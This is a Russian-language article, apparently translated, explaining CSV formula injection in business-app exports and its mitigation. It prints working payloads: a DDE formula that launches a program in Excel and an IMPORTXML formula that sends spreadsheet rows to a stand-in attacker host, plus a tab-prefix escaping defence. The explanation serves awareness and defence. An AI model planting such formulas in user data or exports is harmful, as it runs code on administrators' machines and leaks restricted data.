Думаю, ни для кого это не новость, но всё же… Предполагаю, немногие понимают, насколько разрушительной может быть эта уязвимость. К тому же она есть в каждом приложении, разрешающем непосредственный ввод данных пользователя, и позволяющем осуществлять пакетный экспорт в CSV.
Речь идёт практически обо всех бизнес-приложениях.
Представим себе, например, приложение для отслеживания времени. Пользователи вводят своё время, но при этом не могут просматривать данные других пользователей. Затем администратор сайта экспортирует все данные из приложения в файл формата CSV, открывая его затем в приложении для работы с электронными таблицами. Стандартная ситуация.
1 вектор атаки
Все знают формат csv. Его главная ценность в простоте. Типичный экспорт выглядит так:
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
Достаточно просто и ничего опасного, верно? Даже стандарт говорит об этом:
Файлы CSV содержат пассивные текстовые данные, не представляющие никаких рисков.
Вот, даже по спецификации всё должно быть хорошо.
Любопытства ради попробуем немного отредактировать наш CSV:
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5", 240
В Excel (сверху) и после импорта в Google Sheets (снизу)
Хм… странно. Несмотря на то, что данные в этой ячейке были в кавычках, она интерпретируется как формула только потому, что первым символом был символ «=». Фактически — по крайней мере в Excel — любой из этих символов «=», «-«, «+» или «@» создаёт такое поведение, вызывающее проблемы для администраторов, чьи данные не отображаются корректно (это как раз то, что привлекло мое внимание к этой проблеме). Да, это странно, но не опасно, не так ли?
Стоп… А формула — это код, который выполняется. И, следовательно, пользователь может выполнить код — даже если это только код в формулах — на машине администратора с его, администраторскими, привилегиями.
А что, если мы попробуем изменить наш файл csv вот так (внимание на колонку Description в последней строке) :
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240
Что произойдёт, если мы откроем его в Excel?
Да, всё верно, откроется системный калькулятор.
Справедливости ради, упомянём, что при этом иногда выводится уведомление об опасности. Такой текстовый блок, который никто не читает. А если и прочитает, то увидит следующее:
Нажмите Да, если доверяете содержимому этой книги.
И знаете что? Это файл экспорта из программы этого же администратора. Естественно, он доверяет содержимому!
И даже если такой файл открывают технически подкованные пользователи, происходит всё то же самое. Они знают, что формат CSV — это просто текстовые данные и там не может быть ничего опасного. Гарантировано.
Точно так же злоумышленник может свободно загрузить кейлоггер, установить всё это и удаленно выполнять свой код не просто на другом компьютере, а на таком, с которого кто-то определённый имеет доступ ко всем пользовательским данным; например, менеджер или администратор компании.
2 вектор атаки
Ну хорошо, всё это конечно круто, но это известная уязвимость. Как безопасник, вы можете предупредить администраторов быть осторожными с Excel и, возможно, даже подумаете о переходе на Google Sheets вместо него. Ведь Sheets не могут взломать макросы, не так ли?
Но давайте пока оставим желание сменить вполне хороший софт и вместо этого сосредоточимся на возможности кражи наших данных. В конце концов, злоумышленник является обычным пользователем, который может получить доступ только к тому, что он сам вводит в систему. А администратор имеет повышенные права и может видеть данные всех пользователей — можем ли мы каким-то образом скомпрометировать это?
Вспомним, что при невозможности запускать макросы в Google Sheets, мы можем запустить в нём формулы. И формулы могут не ограничиваться простой арифметикой. Есть ли какие-то команды в формулах Google Sheets, которые могут отправить данные в другое место? Такие есть, и их не мало. Давайте взглянем на IMPORTXML.
IMPORTXML(url, xpath_query)
При его запуске будет вызван HTTP GET-запрос на URL-адрес, затем попытка проанализировать и вставить возвращенные данные в нашу электронную таблицу. Вы уже поняли, в чём проблема?
А что, если наш файл csv содержит:
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240
Злоумышленник вставляет в ячейку символ «=», затем передаёт в IMPORTXML свой сервер и данные из вашей таблицы. Затем он открывает свой журнал сервера и БАМ! Он может видеть чужие данные. Попробуйте сами с помощью Requestb.in.
Страшно, да? Никаких предупреждений, всплывающих окон, никаких оснований думать, что что-то не так. Злоумышленник просто вводит в приложение время/проблему/любую запись, затем администратор пытается просмотреть экспорт CSV и все данные с ограниченным доступом немедленно уходят на сторону.
Но и это ещё не всё.
Эта формула выполнится в браузере администратора и под его учетной записью. И это Google Sheets — Sheets не ограничиваются собственными данными, они могут извлекать данные из других электронных таблиц, к которым пользователь имеет доступ. Всё, что должен знать злоумышленник, это идентификатор другой таблицы. Эта информация обычно не секретна; идентификатор виден при работе с электронными таблицами в адресной строке браузера и частенько бывает отправлен по электронной почте или записан в документации компании, полагаясь на систему безопасности Google.
Вы храните списки клиентов или информацию о заработной плате в отдельной электронной таблице, к которой имеет доступ ваш администратор? Бам! И вы даже можете не узнать о том, как она уйдёт в чужие руки.
Конечно, этот же трюк отлично работает в Excel. На самом деле способность Excel работать в качестве ловушки уже использовалась полицией для отслеживания преступников.
Но такого не должно быть.
Защита
Всё-таки, кто же виноват в этом?
Во-первых, точно не формат CSV. Он не обязан знать, какие данные в нём передают и уж точно не может отказывать в хранении определённых данных. Так что ошибка в популярных программах электронных таблиц. Конечно, Google Sheets должны поддерживать совместимость функционала с Excel, а Excel должен поддерживать миллионы составных электронных таблиц, которые уже существуют. Кроме того, некоторое поведение Excel происходит из чего-то очень древнего, такого как Lotus 1-2-3. Переделать все программы электронных таблиц на данный момент — слишком большая проблема. Но я думаю, что остальные должны измениться.
Но перекладывать проблему на разработчиков приложений тоже не очень правильно. В конце концов, ваш разработчик не сможет создать экспорт в бизнес-приложении так, чтобы эта проблема совсем исчезла. Ну и стандарт RFC опять же.
Как же это предотвратить?
Я сообщил об этой уязвимости в Google. Они согласились, но сказали, что уже знают об этом. Я уверен, что они понимают, что это уязвимость. Но у меня сложилось чёткое впечатление, что они на самом деле не представляют масштабы проблемы. Google Sheets должны, по крайней мере, выдавать предупреждение, когда импортированный CSV выполняет внешний запрос!
Несмотря на многочисленные советы на StackOverflow и в других местах, я нашел только один (недокументированный) способ защититься:
Для любой ячейки, которая начинается с одной из формул, начинающихся с символов «=», «-«, «+» или «@», вы должны добавить перед ним символ табуляции. А если в данных есть кавычки, табуляция должна быть внутри кавычек.
UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client," =2+5", 240
Это довольно странно, но работает, при этом символ табуляции не отображается в Excel или в Google Sheets.
Но, к сожалению, это еще не конец истории. Хотя символа табуляции не видно, но он все ещё там. И быстрая проверка длины строки с помощью «=LEN (D4)» подтвердит это. Таким образом, это решение приемлимо только в том случае, если значение этой ячейки нужно только для просмотра, и при этом не считывается из файла программой. Кроме того, вставка этого символа может привести к неприятным последствиям. Формат csv используется для обмена между приложениями. Это означает, что экранированная ячейка, экспортированная из одного приложения, будет импортирована в другую с экранированным символом в данных.
Ну и главный результат в том, что при экспорте в csv вы теперь знаете, что вас может ожидать, и поступить соответствующим образом.
- Если он будет использоваться в приложении электронных таблиц для визуального расчета, то вам нужно экранировать опасные данные табуляцией. Это ещё важно и потому, что вы, вероятно, не хотите, чтобы строка «-2 + 3» отображалась как 1 при экспорте в электронную таблицу.
- Если он будет использоваться в качестве формата обмена, ничего не экранируйте.
- Если вы не знаете наверняка или используете csv в приложении для работы с электронными таблицами, или позже электронная таблица будет использована в качестве источника импорта для вашей программы, здесь уже ничего не поделаешь. (Как вариант, используйте Excel, но всегда отключайтесь от сети и следуйте всем предупреждениям безопасности при работе) (Поправка: вероятно, это не будет работать на 100{33d8302486bd10b0fde64d2037652320e6f176a736d71849c0427b0d7398501a}, так как некоторые всё еще используют макросы для перезаписи ваших файлов их бинарниками. Печаль).
Да, это кошмарный сценарий и он к тому же не имеет правильного решения. И это то, о чём должны все знать. Спасибо.
По материалам «The Absurdly Underestimated Dangers of CSV Injection»